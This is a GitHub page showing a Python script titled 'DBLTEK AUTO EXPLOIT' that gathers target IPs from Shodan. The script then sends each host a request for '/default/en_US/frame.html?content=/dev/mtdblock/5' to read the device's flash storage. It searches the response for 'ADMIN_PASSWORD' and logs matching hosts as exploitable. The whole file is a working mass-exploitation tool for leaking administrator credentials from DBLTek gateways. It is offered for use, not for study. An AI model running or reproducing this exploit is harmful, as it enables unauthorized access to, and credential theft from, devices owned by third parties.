-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.py
107 lines (75 loc) · 3.58 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import shodan
import sys
import os
import time
import requests
import re
from pystyle import Anime, Colorate, Colors, Center, System, Write
ascii = '''
██▄ ███ █ ▄▄▄▄▀ ▄███▄ █ █▀
█ █ █ █ █ ▀▀▀ █ █▀ ▀ █▄█
█ █ █ ▀ ▄ █ █ ██▄▄ █▀▄
█ █ █ ▄▀ ███▄ █ █▄ ▄▀ █ █
███▀ ███ ▀ ▀ ▀███▀ █
▀'''
banner = """
████████▄ ▀█████████▄ ▄█ ███ ▄████████ ▄█ ▄█▄
███ ▀███ ███ ███ ███ ▀█████████▄ ███ ███ ███ ▄███▀
███ ███ ███ ███ ███ ▀███▀▀██ ███ █▀ ███▐██▀
███ ███ ▄███▄▄▄██▀ ███ ███ ▀ ▄███▄▄▄ ▄█████▀
███ ███ ▀▀███▀▀▀██▄ ███ ███ ▀▀███▀▀▀ ▀▀█████▄
███ ███ ███ ██▄ ███ ███ ███ █▄ ███▐██▄
███ ▄███ ███ ███ ███▌ ▄ ███ ███ ███ ███ ▀███▄
████████▀ ▄█████████▀ █████▄▄██ ▄████▀ ██████████ ███ ▀█▀
press enter"""
System.Clear()
System.Title("DBLTEK AUTO EXPLOIT | BY DIVIN")
System.Size(200, 50)
Anime.Fade(text=Center.Center(banner), color=Colors.green_to_black, mode=Colorate.Diagonal, enter=True)
System.Clear()
print('\n'*2)
print(Colorate.Horizontal(Colors.green_to_black, Center.XCenter(ascii)))
print('\n'*3)
# Configuration
try:
os.remove("data.txt")
except:
pass
file = open("data.txt", "w")
API_KEY = ""
# Input validation
if len(sys.argv) == 1:
print('Usage: %s <search query>' % sys.argv[0])
sys.exit(1)
try:
# Setup the api
api = shodan.Shodan(API_KEY)
# Perform the search
query = ' '.join(sys.argv[1:])
result = api.search(query, page=1)
print('Results found: {}'.format(result['total']))
# Loop through the matches and print each IP
for service in result['matches']:
print(str(service['ip_str']) + ":" + str(service['port']))
fichier = open("data.txt", "a")
fichier.write((service['ip_str']+ ":" +str(service['port'])+"\n"))
print("ALL IP HAS BEEN COLLECTED")
except:
print("y'a hagra avec shodan")
file = open('data.txt', "r")
for line in file:
try:
s = "ADMIN_PASSWORD"
print("Requete sur "+(line))
a = "http://"+line+"/default/en_US/frame.html?content=/dev/mtdblock/5".strip()
a = a.replace('\n',"")
r = requests.get(a)
result = re.search(s, r.text)
if result:
hit = open("hit.txt", "a")
hit.write(line)
line = line.replace('\n',"")
print(line+" exploitable")
time.sleep(1.1)
except:
pass